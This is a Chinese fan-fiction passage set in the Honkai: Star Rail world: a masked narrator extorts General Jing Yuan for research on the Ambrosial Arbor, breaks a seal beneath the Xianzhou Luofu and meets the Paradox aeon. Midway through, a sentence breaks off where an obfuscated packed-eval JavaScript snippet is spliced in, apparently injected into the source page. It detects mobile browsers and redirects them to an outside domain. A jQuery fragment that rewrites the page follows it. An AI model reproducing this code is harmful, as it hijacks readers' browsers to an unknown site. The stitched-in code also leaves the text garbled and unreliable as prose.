神策府的庭院静谧如画,青松翠柏间点缀着几株晚开的玉兰,石案上茶香袅袅,景元执壶而立,白发垂肩,眉眼含笑,仿佛早已知晓一切。


    彦卿跟在我身后,手腕上还留着铜蛇杖压出的淤痕,黄发马尾略显凌乱,眼里里满是不服,却又碍于礼节不敢造次。


    景元目光扫过自家徒弟的狼狈模样,唇角微扬,斟了一杯茶推向我。


    “小徒年轻气盛,冒犯阁下,景元代他赔罪。”


    我垂眸瞥了一眼那杯茶,雾气氤氲,茶汤澄澈,隐约能嗅到仙舟茶叶特有的清苦气息。


    “不喝”我冷声道,铜蛇杖重重顿地,暗金能量震得石案微微一颤,“自己的徒弟自己管。”


    景元笑意不减,收回茶杯,指尖在杯沿轻轻一敲,茶汤表面泛起细微涟漪,白发垂肩,金瞳含笑,语气轻缓得像是在谈论今日的天气。


    “阁下的名字,我早有耳闻。”


    我冷笑,铜蛇杖抵在青玉阶上:“哦?我什么时候这么出名了?”


    他抬眸,眼底映着罗浮的云霭,声音却清晰得刺耳


    “整个星际,敢将丰饶火种和星核同时嵌入身体里的人,恐怕也只有一个。”


    风忽然静了。


    檐角的风铃悬停,雾气凝滞,连远处彦卿按剑的手都僵在半空。


    我盯着景元,面具下的嘴角缓缓扯开一个弧度。


    “而且”他垂眸啜了口茶,笑意更深,“现在看来,似乎不止两个命途能量那么简单了?”


    铜蛇杖的衔尾蛇纹骤然亮起,暗金与翠绿的能量交织暴涌,在杖尖凝成一道尖锐的芒星。


    “景元将军”我的声音透过变声器,“好奇心太重,容易短命。”


    他笑着摇头


    “阁下远道而来,自然不是为了品茶。”


    “自然”我冷笑,“我要的研究结论,整理出来了吗?”


    他抬眸,表情平静:“仙舟典籍浩瀚,涉及丰饶禁忌的研究更是繁杂,即便调集所有书吏,也不是马上能整理完毕的。”


    我盯着他,声音愈发冰冷:“我要见丰饶建木。”


    景元指尖一顿,随即微笑:“持明族看守建木残骸,需提前通传,安排时日。”


    “你故意的?”


    铜蛇杖抬起,暗金能量如狂蛇乱舞,轰然掀翻整张石案


    茶壶杯盏尽数碎裂,青瓷碎片迸溅,茶水泼洒一地,浸湿了景元的袍角。彦卿瞳孔骤缩,下意识按剑上前,却被景元抬手拦住。


    庭院内一片死寂,唯有茶香混着苦涩在空气中弥漫。


    景元垂眸看了眼满地狼藉,依旧从容,甚至笑意更深:“阁下何必动怒?这是流程安排。”


    “流程?”我嗤笑,杖尖直指他咽喉,“我拆了你这神策府,也是流程?”


    他不动,金瞳直视我,声音温和却不容置疑:“若阁下执意强闯,仙舟云骑军自当阻拦。届时兵戈相向,反倒耽误阁下的正事。”


    我盯着他,暗金能量在杖尖翻涌,杀意凛然。


    景元不避不让,甚至微微倾身,像是要看穿我的面具:“阁下所求,无非是丰饶建木的研究成果,与其在此浪费时间,不如先看看我们已整理的部分?”


    我缓缓收杖,能量如潮水般退去,却仍在地面留下焦灼的蛇形纹路。


    景元拂袖起身,袍角水渍未干,却依旧风度翩翩:“彦卿,去取‘甲字号’密卷。”


    彦卿抿唇瞪着我,显然心有不甘,却还是抱拳领命:“是,将军。”


    待少年离去,景元才转向我,笑意微敛:“阁下,仙舟与天才俱乐部素无恩怨,您何必如此咄咄逼人?”


    “恩怨?”我冷笑,“我对你们的恩怨没兴趣,我只对丰饶建木的‘病变’感兴趣。”


    他目光微闪:“病变?”


    “装傻无用”我逼近一步,声音压得极低,近乎威胁,“建木残骸豢养了什么,自己心里清楚。”


    景元沉默片刻,忽地轻笑:“原来如此……阁下果然敏锐。”


    他抬手,袖中滑出一枚青铜密钥,其上刻着持明族的龙纹。


    他将密钥递来“但作为交换,阁下需替仙舟解决一个小麻烦。”


    我盯着那枚密钥,冷笑:“说。”


    “建木根系最近生长异常,有东西在恢复它的生命力”景元轻声道,“若能找出源头并清除,仙舟自当奉上所有研究。”


    我一把抓过密钥。


    “成交。”


    景元的青铜密钥躺在掌心,龙纹冰冷,触之如握寒铁。


    我收拢五指,金属棱角硌入皮肉,细微的痛感清晰传来。


    “三日后,持明龙尊会亲自接引”景元微笑,金瞳深处藏着审视,“阁下可需向导?”


    “不必”我冷声拒绝,铜蛇杖在地面划出刺耳声响,“我自己会看。”


    他颔首,袖袍轻拂,仿佛方才的剑拔弩张从未发生。


    彦卿已经回来,将卷轴给了景元,他站在一旁,紧盯着我,少年人的敌意毫不掩饰。


    我侧目瞥他一眼,面具下的声音恶劣又讥诮:“怎么,还想讨教?”


    他抿唇,手指按上剑柄,却被景元一个眼神制止。


    “小徒莽撞,先生见谅。”


    我嗤笑一声,转身离去,披风扫过满地碎瓷,暗金能量在身后拖曳出蛇行痕迹。


    离开神策府,罗浮的夜色已深。


    雾气更浓,街巷间灯笼高悬,朱红的光晕在云海中晕染,如血滴入水。


    我独自走在长街上,铜蛇杖叩击地面的节奏缓慢而沉。杖尖每一次触地,都有一缕暗金能量渗入砖石,无声蔓延。


    丰饶建木的根系就在脚下。


    而我知道,有什么东西正在啃噬它。


    我体内沉寂的丰饶命途能量微微躁动,如细小的虫蚁在血管中爬行,带来细微的痒与痛。


    这感觉太熟悉了。


    就像当年,我将丰饶的枝芽植入我骨髓时一样。


    景元的“三日之约”还在耳边回荡,铜蛇杖已在掌心嗡鸣震颤。


    我冷笑,指尖轻抚杖身,暗金能量如活物般缠绕而上,衔尾蛇纹寸寸亮起,蛇瞳处迸出一点猩红。


    “等?”面具下的嗓音嘶哑低沉,变声器将讥诮压成机械的冷调,“他也配。”


    窗外,罗浮的夜色正浓,流云渡方向的海雾如巨兽匍匐,隐约可见建木根系刺破海面的狰狞黑影。


    影骸自铜蛇杖底端渗出,漆黑粘稠如沥青,顺着靴底攀附而上,转瞬包裹全身。光线在触及影骸的刹那扭曲消弭,连呼吸声都被吞噬殆尽。


    码头集装箱区死寂如坟。


    锈蚀的金属箱体堆叠成迷宫,缝隙间渗出幽蓝微光,那是建木根系从海底穿刺而出的脉络,如血管般搏动,将丰饶的腐败能量泵入夜空。


    影骸覆体下,我踏过潮湿的钢板,铜蛇杖尖划过地面,暗金纹路如毒蛇游走,啃噬着沿途的监测符箓。


    “咔。”


    某处集装箱顶传来细响。


    抬头,一只机关鸟站在阴影处,正茫然环顾,它察觉到了能量波动,却看不见我。


    杖尖轻抬,一缕影骸如箭射出,贯穿颅骨。它甚至来不及呜咽便化作青烟消散,只余几片铁皮掉落。


    “看守?”我碾过零件,嗤笑出声,“虫豸。”


    建木根系的尽头,海水被某种力量劈开,形成一道垂直向下的水渊。


    漩涡般的通道深处,隐约可见青玉殿宇的轮廓——鳞渊境,持明


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849572|174351||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    族转生圣地,如今却成了丰饶孽物的温床。


    影骸在入水的刹那沸腾,撕开湍流。


    海底压强足以碾碎舰船,却压不垮这具被星核改造过的躯体。


    下潜百米,光线骤变。


    本该幽暗的深海此刻泛着诡异的翠绿,建木根系如巨蟒绞缠,根系间隙里嵌着无数半透明的“茧”,持明族未孵化的龙卵,此刻却被丰饶能量异化成畸形的肉瘤,随水流缓缓鼓动。


    铜蛇杖突然剧烈震颤,衔尾蛇瞳猩红欲滴。


    是共鸣。


    那个“东西”就在附近。


    青玉殿阶近在眼前,却被一道结界阻隔。


    持明古篆浮空流转,构成繁复的龙形锁链,中心处缺了一角,本该镶嵌龙珠的位置空空如也。


    “蠢货”我抚过残缺的封印,体内丰饶能量翻涌躁动,“连‘钥匙’都看不住。”


    影骸骤然收缩,铜蛇杖刺入结界缺口,暗金与翠绿的能量如洪水决堤,顺着裂缝灌入。封印符文接连爆裂,龙吟般的警报响彻深渊,却被早有准备的力场隔绝。


    殿门洞开,腥风扑面。


    中央祭坛上,本该供奉历代龙尊蜕鳞的玉匣大敞,匣内只剩干涸的血迹。而祭坛下方


    一具青灰色的持明遗蜕被钉在建木根须上,胸口插着半截断裂的枪刃。


    “果然……”我掐住遗蜕下颌,强迫它抬起空洞的眼眶,“偷走‘我的东西’,是要付利息的。”


    蜕尸突然咧嘴一笑,腐液滴落:“你……来晚……”


    铜蛇杖贯穿它的咽喉,火焰自内而外将遗蜕焚成灰烬。


    灰烬中,半片染血的衔尾蛇鳞微微发烫。


    “将军!”彦卿的传讯符在景元掌心燃起,“鳞渊境结界被破,是否派云骑——”


    “不必”景元捏碎符灰,金瞳倒映着流云渡方向的冲天绿光,“我们的‘客人’向来守约。”


    传说,不朽星神陨落时,丰饶与繁育两大命途各自从祂的遗骸中夺取权能,而龙珠,则是“不朽”最后的残响,蕴含着两大命途交织的奥秘。


    我本是为它而来。


    可此刻,祭坛上空空如也,龙珠早已不知所踪。


    “呵……”我冷笑,铜蛇杖重重顿地,暗金能量如涟漪荡开,震碎周遭漂浮的腐败根须,“谁的手脚这么快?”


    更让我意外的是,这里的污染能量……竟与我体内的丰饶命途波动如此相似。


    不,不止是相似。


    简直如出一辙。


    “意外吗?”


    一道声音忽然在耳畔响起,轻佻又戏谑,像是有人贴着我的耳垂吹气。


    我猛地转头。


    悖论星神倚在一截断裂的建木根须上,银白长发垂落,唇角挂着玩味的笑。


    “你这么闲?”我冷声道,铜蛇杖已横在身前,暗金能量蓄势待发。


    祂不以为意,指尖轻点虚空,一缕白光如丝线般缠绕上我的杖尖:“龙珠不见了,你好像很着急?”


    “关你屁事。”


    “我可以告诉你它去哪了”祂歪头,笑容更深,“要不要听听?”


    我盯着祂,面具下的声音冰冷:“你会这么好心?”


    悖论星神轻笑一声,忽然抬手,指尖点向我的眉心。


    我没有躲。


    因为我知道,若祂真想杀我,躲也无用。


    祂的指尖冰凉,触到我皮肤的刹那,一道信息流如洪流般灌入脑海


    如果回到过去杀死了自己的父母,那么回到现在自己还会存在吗?


    我瞳孔骤缩:“……你说什么?”


    祂不答,右眼的黑暗忽然扩散,将我彻底吞噬。


    白光炸裂。


    我失去了意识。